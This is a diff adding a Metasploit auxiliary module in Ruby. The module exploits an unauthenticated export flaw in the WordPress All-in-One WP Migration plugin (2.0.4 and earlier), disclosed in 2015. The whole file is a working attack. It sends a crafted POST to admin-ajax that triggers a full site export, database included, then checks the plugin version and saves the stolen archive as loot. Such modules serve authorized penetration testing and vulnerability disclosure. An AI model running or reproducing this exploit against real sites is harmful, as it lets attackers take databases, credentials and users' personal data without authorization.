|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://www.metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + include Msf::HTTP::Wordpress |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'WordPress All-in-One Migration Export', |
| 16 | + 'Description' => %q{ |
| 17 | + This module allows you to export Wordpress data (such as the database, plugins, themes, |
| 18 | + uploaded files, etc) via the All-in-One Migration plugin without authentication. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'James Golovich', # Disclosure |
| 24 | + 'Rob Carr <rob[at]rastating.com>' # Metasploit module |
| 25 | + ], |
| 26 | + 'References' => |
| 27 | + [ |
| 28 | + ['WPVDB', '7857'], |
| 29 | + ['URL', 'http://www.pritect.net/blog/all-in-one-wp-migration-2-0-4-security-vulnerability'] |
| 30 | + ], |
| 31 | + 'DisclosureDate' => 'Mar 19 2015' |
| 32 | + )) |
| 33 | + |
| 34 | + register_options( |
| 35 | + [ |
| 36 | + OptInt.new('MAXTIME', [ true, 'The maximum number of seconds to wait for the export to complete', 300 ]) |
| 37 | + ], self.class) |
| 38 | + end |
| 39 | + |
| 40 | + def check |
| 41 | + check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5') |
| 42 | + end |
| 43 | + |
| 44 | + def run |
| 45 | + print_status("#{peer} - Requesting website export...") |
| 46 | + res = send_request_cgi( |
| 47 | + { |
| 48 | + 'method' => 'POST', |
| 49 | + 'uri' => wordpress_url_admin_ajax, |
| 50 | + 'vars_get' => { 'action' => 'router' }, |
| 51 | + 'vars_post' => { 'options[action]' => 'export' } |
| 52 | + }, datastore['MAXTIME']) |
| 53 | + |
| 54 | + unless res |
| 55 | + fail_with(Failure::Unknown, "#{peer} - No response from the target") |
| 56 | + end |
| 57 | + |
| 58 | + if res.code != 200 |
| 59 | + fail_with(Failure::UnexpectedReply, "#{peer} - Server responded with status code #{res.code}") |
| 60 | + end |
| 61 | + |
| 62 | + if res.body.blank? |
| 63 | + print_status("Unable to download anything.") |
| 64 | + print_status("Either the target isn't actually vulnerable, or") |
| 65 | + print_status("it does not allow WRITE permission to the all-in-one-wp-migration/storage directory.") |
| 66 | + else |
| 67 | + store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup') |
| 68 | + print_good("#{peer} - Backup archive saved to #{store_path}") |
| 69 | + end |
| 70 | + end |
| 71 | +end |
0 commit comments